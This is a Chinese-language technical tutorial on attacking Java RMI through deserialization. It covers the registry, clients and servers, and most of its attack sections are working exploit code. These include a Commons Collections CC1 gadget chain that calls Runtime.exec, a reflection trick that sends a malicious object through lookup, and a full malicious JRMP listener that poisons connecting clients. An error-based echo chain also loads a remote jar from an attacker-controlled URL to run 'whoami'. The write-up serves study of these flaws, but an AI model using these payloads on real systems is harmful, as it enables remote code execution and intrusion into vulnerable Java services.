java安全-RMI攻击方式
具体点如下
1 2 3 4 5 6 7 8 9 10
| 1、攻击客户端: RegistryImpl_Stub#lookup->注册中心攻击客户端 DGCImpl_Stub#dirty->服务端攻击客户端 UnicastRef#invoke->服务端攻击客户端 StreamRemoteCall#executeCall->服务端/注册中心攻击客户端 2、攻击服务端 UnicastServerRef#dispatch->客户端攻击服务端 DGCImpl_Skel#dispatch->客户端攻击服务端 3、攻击注册中心 RegistryImpl_Skel#dispatch->客户端/服务端攻击注册中心
|
一、攻击 RMI Registry
注册中心方法位于 RegistryImpl_Skel#dispatch 中,如果存在对传入的对象调用 readObject() 方法,则可以利用,dispatch 里面对应关系如下:
- 任何人都可以调用的方法(本地 + 远程)
1 — list (查看列表)
2 — lookup (查找并获取对象)
- 只有本地(Localhost)才能调用的方法
0 — bind (绑定新对象)
3 — rebind (覆盖绑定对象)
4 — unbind (解绑对象)
1.使用list方法获取绑定对象
1 2
| Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); System.out.println(Arrays.toString(registry.list()));
|
直接获取所有绑定对象
1 2
| String[] list = Naming.list("rmi://127.0.0.1:1099"); System.out.println(Arrays.toString(list));
|
使用工具类获取所有绑定对象
俩种方法只是返回形式不同

RegistryImpl_Stub(在客户端手里)通过网络把请求发给 -> RegistryImpl_Skel(在服务端) -> RegistryImpl_Skel 解包后调用 -> 真正的 RegistryImpl
但是这里没有反序列化,所以危害特别小
2.bind和rebind方法攻击
客户端调用bind方法时,逻辑如下
RegistryImpl_Stub(在客户端手里)通过网络把请求发给 -> RegistryImpl_Skel(在服务端) -> RegistryImpl_Skel 解包后调用 -> 真正的 RegistryImpl
java为了安全,在执行bind方法时,会在真正的 RegistryImpl判断执行绑定的ip是否为注册器本地,也就是
checkAccess() 的工作原理很简单粗暴:
- 它会获取当前发起网络连接的客户端的 IP 地址。
- 它会将这个 IP 地址与服务端所在的本地地址(如
127.0.0.1 或本地网卡 IP)进行对比。
- 如果发现 IP 不是本地的,它会直接抛出
java.rmi.AccessException(拒绝访问异常)
但是,这个执行前先执行RegistryImpl_Skel类dispatch 方法的case0代码块
所以
1 2 3 4 5 6 7 8 9 10 11 12 13
| Registry registry = LocateRegistry.getRegistry("10.174.74.64", 1099);
Object obj = CC1();
Remote proxy = (Remote) Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class<?>[]{Remote.class}, (InvocationHandler) obj );
registry.bind("chaun",proxy);
|
这里没有直接bind obj,是因为bind方法第二个参数必须是remote的实现
【核心机制】 在 Java 中,反序列化一个 Proxy 对象时,必定会连带反序列化它肚子里的 InvocationHandler
rebind 类似
3.lookup和unbind
lookup方法没有安全检查,可以随意调用
RegistryImpl_Stub(在客户端手里)通过网络把请求发给 -> RegistryImpl_Skel(在服务端) -> RegistryImpl_Skel 解包后调用 -> 真正的 RegistryImpl
这里
1
| RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");
|
这个参数为恶意类时,即可成功攻击
但是这里参数必须为String类型,于是尝试骗过编译器,直接使用底层发送恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| Registry registry = LocateRegistry.getRegistry("10.174.74.64", 1099);
Object obj = CC1();
Remote proxy = (Remote) Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class<?>[]{Remote.class}, (InvocationHandler) obj );
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry);
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(proxy); ref.invoke(var2);
|
当 RMI Registry(服务端)收到一个 lookup 请求时,它预期的确实是一个 String 但是,服务端在验证这个对象是不是 String 之前,必须先把它从网络流里反序列化(readObject)出来
漏洞就发生在这个瞬间:只要把恶意对象塞进网络流,服务端一执行 readObject() 就会中招。等它反序列化完,发现“诶?这不是个 String 啊”并准备报错的时候,我们的代码(比如弹出计算器 calc)已经执行完了
二、攻击client
1.JRMP攻击客户端
1.1、poc
这个是一个简化版本的CC1的黑客客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169
| package chuan.rmi;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.ServerSocket; import java.net.Socket; import java.rmi.server.UID; import java.util.HashMap; import java.util.Map;
public class SimpleJRMPListener {
public static void main(String[] args) { int port = 1099;
try { Object payload = getCC1Payload("calc");
ServerSocket ss = new ServerSocket(port); System.out.println("[+] 恶意 JRMP 服务端已启动,正在监听端口 " + port + "...");
while (true) { Socket s = ss.accept(); System.out.println("[!] 接收到来自受害者的连接: " + s.getRemoteSocketAddress());
handleConnection(s, payload); } } catch (Exception e) { e.printStackTrace(); } }
private static void handleConnection(Socket s, Object payload) { try { DataInputStream in = new DataInputStream(s.getInputStream()); DataOutputStream out = new DataOutputStream(s.getOutputStream());
int magic = in.readInt(); short version = in.readShort();
if (magic != 0x4a524d49) { System.out.println("[-] 不是合法的 JRMI 协议,断开连接。"); s.close(); return; }
byte protocol = in.readByte(); if (protocol == 0x4b) { out.writeByte(0x4e); out.writeUTF(s.getInetAddress().getHostAddress()); out.writeInt(s.getPort()); out.flush();
in.readUTF(); in.readInt(); }
int op = in.readByte();
if (op == 0x50) { System.out.println("[*] 拦截到受害者的 Call 请求,准备投毒...");
out.writeByte(0x51);
ObjectOutputStream oos = new ObjectOutputStream(out) {
@Override protected void annotateClass(Class<?> cl) throws IOException { this.writeObject(null); }
protected void annotateProxyClass(Class<?>[] interfaces) throws IOException { this.writeObject(null); } };
oos.writeByte(0x02);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null); Field valField = ex.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(ex, payload);
oos.writeObject(ex); oos.flush(); out.flush();
System.out.println("[+] 投毒完成!受害者如果存在反序列化漏洞,即将触发 RCE!\n"); } s.close(); } catch (Exception e) { System.out.println("[-] 连接处理异常断开。"); } }
private static Object getCC1Payload(String command) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command}) }; Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> innerMap = new HashMap<>(); innerMap.put("value", "test"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true);
return constructor.newInstance(Retention.class, outerMap); } }
|
我们这里主要攻击的是这里
sun/rmi/transport/StreamRemoteCall.java中的executeCall方法

而且这个客户端方法是针对所有的,几乎所有客户端方法调用网络请求的时候都会走到这里
1.2、第一阶段:握手
- 正常交互:
- 客户端(顾客):推门进来说 “JRMI” (发送魔法数和版本号)
- 服务端(服务员):回复
0x4e (ProtocolAck),说“欢迎光临,我是XX号桌服务员”
- 我们动的手脚:完全没动手脚,我们在伪装。
- 为了不让客户端起疑心,我们的代码在这个阶段完全遵循了 JRMP 规范,老老实实地回了
0x4e 和自己的 IP 端口。这就是所谓的“装作自己是一个合法的 RMI 服务”
1.3、第二阶段:调用
- 正常交互:
- 客户端发送
0x50 (Call) 指令,紧接着会发一堆数据:想要调用哪个对象 (ObjID)、调用哪个方法 (Method Hash)、以及传了什么参数 (Arguments)
- 服务端收到
0x50 后,会认认真真地把这些数据读取出来,进行反序列化,找到对应的方法去执行
- 我们动的手脚:装聋作哑,无视请求。
- 在我们的代码中,一旦读取到
0x50,我们根本不去读它想调什么方法,也不去读它传了什么参数(甚至为了防身,还限制了服务端自己的反序列化权限)
- 这就好比顾客刚张嘴说“我要点一份……”,服务员直接捂住耳朵不听了,因为服务员(我们)根本没打算给顾客做菜
1.4、第三阶段:返回
- 正常交互:
- 正常返回 (Normal Return):如果刚才的方法执行成功了,服务端会先发
0x51 (Return),再发 0x01 (表示正常返回),最后把方法的返回值序列化发给客户端。
- 异常返回 (Exceptional Return):如果服务端执行方法时自己内部报错了(比如查数据库报了
SQLException),服务端会发 0x51,再发 0x02 (表示异常返回),最后把真实的异常对象序列化发给客户端。客户端收到后会自动反序列化,在自己的控制台打印出服务端的报错堆栈,方便调试
- 我们动的手脚:借刀杀人,强制投毒。
- 我们直接跳过了执行方法的步骤,强行发送了
0x51 (Return) 和 0x02 (Exceptional Return)
- 我们没有发送真实的业务异常,而是精心挑选了
BadAttributeValueExpException 这个原生的 JDK 异常类,并通过反射把包含恶意代码的 CC1 链塞进了它的肚子里
- 这就好比顾客刚点完菜,服务员立刻端上来一盘“毒苹果”,骗顾客说:“你刚才点的菜做失败了,这是失败原因,你尝尝(反序列化)就知道了”
总结:真正的杀招在哪里?
我们最大的手脚就是利用了 Java RMI 协议中**“客户端必须无条件反序列化服务端抛出的异常对象”**这一信任机制
正常的 RMI 设计者认为,异常对象都是老老实实的报错信息。但他们没料到,攻击者可以把一个庞大且恶意的“利用链(Gadget Chain)”伪装成一个异常对象。只要受害者客户端按照协议去反序列化这个异常,漏洞就触发了
2.恶意返回对象

攻击点是这里,这里如果被调用有返回值时,会将返回值反序列化获取其值,于是我们构造恶意返回类
1 2 3 4 5 6 7 8 9 10 11 12 13
| public RemoteObjImpl() throws RemoteException { }
@Override public Object sayHello(String keywords) throws Exception { String upKeywords = keywords.toUpperCase(); System.out.println(upKeywords); System.out.println("恶意类加载!!!"); return CC1(); } public static Object CC1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { Class r = Runtime.class;
|
CC1是一个静态方法,用来获取CC1 payload
3.利用codebase恶意返回类
RMI(Remote Method Invocation)在传输对象时,需要解决一个问题:接收方如果没有某个类的定义怎么办?
Java 为此设计了 codebase 机制 —— 允许在序列化数据中附带一个 URL,告诉接收方”如果你没有这个类,去这个地址下载”。
核心机制:ObjectOutputStream 写入 codebase
当序列化一个对象时,JVM 会把该类的 codebase 写入流中:
1 2 3 4 5
| // 序列化流结构(简化) TC_CLASSDESC className: "com.evil.Payload" codebase: "http://attacker.com/malicious/" ← 攻击者控制的地址 serialVersionUID: ...
|
接收方在反序列化时,若本地 ClassLoader 找不到该类,就会尝试从 codebase URL 动态加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 攻击者 受害者RMI服务端 │ │ │ 1. 构造含恶意codebase的序列化对象 │ │ ─────────────────────────────► │ │ │ │ │ 2. 反序列化时找不到类 │ │ 检查 codebase URL │ │ │ 3. 受害者主动来下载恶意类 │ │ ◄───────────────────────────── │ │ GET /Payload.class │ │ │ │ 4. 返回恶意字节码 │ │ ─────────────────────────────► │ │ │ 5. defineClass() 加载 │ │ 执行静态块 / 构造器 │ │ RCE ✓
|
| 条件 |
说明 |
java.rmi.server.useCodebaseOnly=false |
允许使用远程 codebase(旧版默认值) |
| SecurityManager 开启但配置宽松 |
或无 SecurityManager(更危险) |
| 接收方本地没有该类 |
才会触发远程加载 |
| RMI 注册表或服务端信任客户端输入 |
攻击面不同 |
⚠️ Java 6u45 / 7u21 之后,useCodebaseOnly 默认改为 true,即只信任本地 codebase,但很多老系统仍然手动关闭了这个限制
三、攻击服务端
这里攻击的点是这里
1. Stub 和 Skeleton(RMI 的代理机制)
1 2 3 4 5 6 7 8 9 10 11 12
| Client 拿到的 r 并不是真正的服务端对象 r 是一个 Stub(存根/代理对象)
r.evil(payload) ↓ 实际调用的是 Stub.evil() ↓ Stub 内部做的事: 1. 建立 TCP 连接到服务端 2. 序列化方法名 + 参数 3. 发送字节流 4. 等待返回值
|
服务端有对应的 Skeleton:
1 2 3 4 5 6 7
| Skeleton 收到字节流 ↓ 反序列化参数 ← 漏洞触发点就在这里 ↓ 调用真正的 RemoteHelloWorld.evil(obj) ↓ 序列化返回值,发回 Client
|
2. 关键底层类调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
RemoteRef.invoke() → UnicastRef.invoke() → MarshalOutputStream(继承自ObjectOutputStream) → writeObject(payload)
UnicastServerRef.dispatch() → unmarshalParameters() → MarshalInputStream(继承自ObjectInputStream) → readObject() → evil(obj)
|
1 2
| RemoteObj chuan = (RemoteObj) registry.lookup("remoteObj"); chuan.sayHello(CC1());
|

版本小于8u121就可以用
四、进阶攻击方式
“回显”
普通的 CC1 攻击有个致命缺陷:
1 2 3 4 5 6 7
| runtime.exec("whoami") ↓ 命令在服务端执行了 ↓ 结果在服务端的进程里 ↓ 攻击者完全看不到结果!
|
打了个命令,但你不知道执行结果,这在实战中几乎没用。回显攻击就是要把命令结果带回到客户端
整体思路
1 2 3 4 5 6 7
| 普通攻击:客户端 ──payload──► 服务端执行命令(结果不可见)
回显攻击:客户端 ──payload──► 服务端加载远程jar → 执行命令 → 把结果塞进 Exception → 抛出 Exception → RMI把异常传回客户端 ← 结果回来了!
|
关键利用点:RMI 遇到异常会把异常对象序列化后发回客户端,这是 RMI 的正常机制,被巧妙利用了
远程 jar 的作用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class ErrorBaseExec { public static void do_exec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader( new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e = new Exception(result); throw e; } }
|
这个类不在服务端的 classpath 里,它放在攻击者自己的 HTTP 服务器上,打包成 jar。服务端要用的时候通过 URLClassLoader 远程加载。
这次的链比 CC1 复杂,它要做的事是:
1 2 3 4
| URLClassLoader 加载远程 jar → 拿到 ErrorBaseExec 类 → 调用 do_exec("whoami") → 触发异常回显
|
逐步拆解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| new ConstantTransformer(java.net.URLClassLoader.class)
new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{java.net.URL[].class}})
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{ new java.net.URL[]{new java.net.URL(remotejar)} }})
new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"ErrorBaseExec"})
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"do_exec", new Class[]{String.class}})
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{"whoami"}})
|
用 registry.bind()
这里和之前的攻击有个重要区别:
1 2 3 4 5
| r.evil(payload)
registry.bind("liming", r)
|
原因是这个攻击打的是注册中心本身,不是具体的服务方法。
registry.bind() 在底层同样会把参数序列化发过去,注册中心收到后反序列化,触发漏洞。而且注册中心会把异常发回客户端,形成回显通道。
动态代理的作用
这里有个特殊处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class, outerMap);
Remote r = Remote.class.cast( Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[]{Remote.class}, h ) );
registry.bind("liming", r); 外表:Remote 对象(通过类型检查) 内部:AnnotationInvocationHandler(含恶意链) ↓ 序列化发给注册中心 注册中心反序列化时触发链
|
回显如何实现
1 2 3 4
| catch (Exception e) { System.out.print(e.getCause().getCause().getCause().getMessage()); }
|
为什么要三层 getCause?因为异常被 RMI 包了好几层:
1 2 3 4 5
| ServerException(RMI外层包装) └─ ServerError 或 RemoteException(RMI内层) └─ ExceptionInInitializerError 或类似 └─ Exception("whoami的结果") ← 我们的异常 .getMessage() 拿到结果
|
具体实现
打包jar包开启服务器
接着直接运行客户端,调用bind方法

1 2 3
| 踩坑 1.恶意错误类代码误加包名 2.更改后要重新启动服务端,不然服务端判定之前bind之后就不重新bind
|